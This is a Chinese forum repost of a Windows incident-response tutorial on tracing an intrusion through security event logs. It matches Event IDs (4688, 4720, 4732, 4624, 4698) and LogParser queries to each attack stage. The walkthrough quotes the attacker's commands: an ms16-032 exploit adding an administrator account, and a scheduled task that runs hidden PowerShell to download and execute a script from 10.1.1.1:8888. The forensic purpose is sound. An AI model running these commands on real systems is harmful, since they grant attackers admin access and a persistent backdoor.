搜索

[1032] 2020-12-14_在Windows日志里发现入侵痕迹

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2020-12-14_在Windows日志里发现入侵痕迹 在 W i n d o w s 日 志 里 发 现 入 侵 痕 迹 原 创   B y p a s s   B y p a s s   2 0 2 0 - 1 2 - 1 4 有 小 伙 伴 问 ： W i n d o w s 系 统 日 志 分 析 大 多 都 只 是 对 恶 意 登 录 事 件 进 行 分 析 的 案 例 ， 可 以 通 过 系 统 日 志 找 到 其 他 入 侵 痕 迹 吗 ？ 答 案 肯 定 是 可 以 的 ， 当 攻 击 者 获 取 w e b s h e l l 后 ， 会 通 过 各 种 方 式 来 执 行 系 统 命 令 。 所 有 的 w e b 攻 击 行 为 会 存 留 在 w e b 访 问 日 志 里 ， 而 执 行 操 作 系 统 命 令 的 行 为 也 会 存 在 在 系 统 日 志 。 不 同 的 攻 击 场 景 会 留 下 不 一 样 的 系 统 日 志 痕 迹 ， 不 同 的 E v e n t   I D 代 表 了 不 同 的 意 义 ， 需 要 重 点 关 注 一 些 事 件 I D ， 来 分 析 攻 击 者 在 系 统 中 留 下 的 攻 击 痕 迹 。 我 们 通 过 一 个 攻 击 案 例 来 进 行 w i n d o w s 日 志 分 析 ， 从 日 志 里 识 别 出 攻 击 场 景 ， 发 现 恶 意 程 序 执 行 痕 迹 ， 甚 至 还 原 攻 击 者 的 行 为 轨 迹 。 1 、 信 息 收 集 、 信 息 收 集 攻 击 者 在 获 取 w e b s h e l l 权 限 后 ， 会 尝 试 查 询 当 前 用 户 权 限 ， 收 集 系 统 版 本 和 补 丁 信 息 ， 用 来 辅 助 权 限 提 升 。 W i n d o w s 日 志 分 析 ： 日 志 分 析 ： 在 本 地 安 全 策 略 中 ， 需 开 启 审 核 进 程 跟 踪 ， 可 以 跟 踪 进 程 创 建 / 终 止 。 关 键 进 程 跟 踪 事 件 和 说 明 ， 如 ： 我 们 通 过 L o g P a r s e r 做 一 个 简 单 的 筛 选 ， 得 到 E v e n t   I D   4 6 8 8 ， 也 就 是 创 建 新 进 程 的 列 表 ， 可 以 发 现 用 户 B y p a s s ， 先 后 调 用 c m d 执 行 w h a m i 和 s y s t e m i n f o 。 C o n h o s t . e x e 进 程 主 要 是 为 命 令 行 程 序 （ c m d . e x e ） 提 供 图 形 子 系 统 等 功 能 支 持 。 2 、 权 限 提 升 、 权 限 提 升 通 过 执 行 e x p 来 提 升 权 限 ， 获 取 操 作 系 统 s y s t e m 权 限 ， 增 加 管 理 用 户 。 W i n d o w s 日 志 分 析 ： 日 志 分 析 ： w h o a m i s y s t e m i n f o 4 6 8 8   创 建 新 进 程 4 6 8 9   进 程 终 止 L o g P a r s e r . e x e     - i : E V T   " S E L E C T   T i m e G e n e r a t e d , E v e n t I D , E X T R A C T _ T O K E N ( S t r i n g s , 1 , ' | ' )     a s   U s e r N a m e , E X T R A C T _ T O K E N ( S t r i n g s , 5 , ' | ' )     a s   P r o c e s s N a m e   F R O M   c : 1 1 . e v t x   w h e r e   E v e n t I D = 4 6 8 8 m s 1 6 - 0 3 2 . e x e   " w h o a m i " m s 1 6 - 0 3 2 . e x e   " n e t   u s e r   t e s t 1   a b c 1 2 3 !   / a d d " m s 1 6 - 0 3 2 . e x e   " n e t   l o c a l g r o u p   A d m i n i s t r a t o r s   t e s t 1   / a d d "
在 本 地 安 全 策 略 中 ， 需 开 启 审 核 账 户 管 理 ， 关 键 账 户 管 理 事 件 和 说 明 。 如 ： 这 里 会 涉 及 进 程 创 建 ， 主 要 关 注 账 户 创 建 和 管 理 用 户 组 变 更 。 从 E v e n t   I D   4 7 2 0   ， 系 统 新 建 了 一 个 t e s t 用 户 ， 从 E v e n t   I D   4 7 3 2 的 两 条 记 录 变 化 ， 得 到 一 个 关 键 信 息 ， 本 地 用 户 t e s t 从 u s e r 组 提 升 到 A d m i n i s t r a t o r s 。 3 、 管 理 账 号 登 录 、 管 理 账 号 登 录 在 创 建 管 理 账 户 后 ， 尝 试 远 程 登 录 到 目 标 主 机 ， 获 取 敏 感 信 息 。 W i n d o w s 日 志 分 析 ： 日 志 分 析 ： 在 本 地 安 全 策 略 中 ， 需 开 启 审 核 登 录 事 件 ， 关 键 登 录 事 件 和 说 明 ， 如 ： 使 用 L o g P a r s e r 做 一 下 分 析 ， 得 到 系 统 登 录 时 间 ， 登 录 类 型 1 0   也 就 是 远 程 登 录 ， 登 录 用 户   t e s t ， 登 录 I P ： 1 0 . 1 . 1 . 1 。 4 7 2 0     创 建 用 户 4 7 3 2     已 将 成 员 添 加 到 启 用 安 全 性 的 本 地 组 m s t s c   / v   1 0 . 1 . 1 . 1 8 8 4 6 2 4   登 录 成 功 4 6 2 5   登 录 失 败 L o g P a r s e r . e x e   - i : E V T   " S E L E C T   T i m e G e n e r a t e d   a s   L o g i n T i m e , E X T R A C T _ T O K E N ( S t r i n g s , 8 , ' | ' )   a s   E v e n t T y p e , E X T R A C T _ T O K E N ( S t r i n g s , 5 , ' | ' )   a s   u s e r n a m e , E X T R A C T _ T O K E N ( S t r i n g s , 1 8 , ' | ' )   a s   L o g i n i p  
4 、 权 限 维 持 、 权 限 维 持 通 过 创 建 计 划 任 务 执 行 脚 本 后 门 ， 以 便 下 次 直 接 进 入 ， 使 用 以 下 命 令 可 以 一 键 实 现 ： W i n d o w s 日 志 分 析 ： 日 志 分 析 ： 在 本 地 安 全 策 略 中 ， 需 开 启 审 核 对 象 访 问 ， 关 键 对 象 访 问 事 件 ， 如 ： 这 里 涉 及 进 程 创 建 和 对 象 访 问 事 件 ， 包 括 s c h t a s k s . e x e 进 程 的 创 建 和 E v e n t   I D   4 6 9 8 发 现 新 建 的 计 划 任 务 。 成 功 找 到 计 划 任 务 后 门 位 置 ： s c h t a s k s   / c r e a t e   / s c   m i n u t e   / m o   1   / t n   " S e c u r i t y   S c r i p t "   / t r   " p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( " " " h t t p : / / 1 0 . 1 . 1 . 1 : 8 8 8 8 / l o g o . t x t " 4 6 9 8     创 建 计 划 任 务 4 6 9 9     删 除 计 划 任 务
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理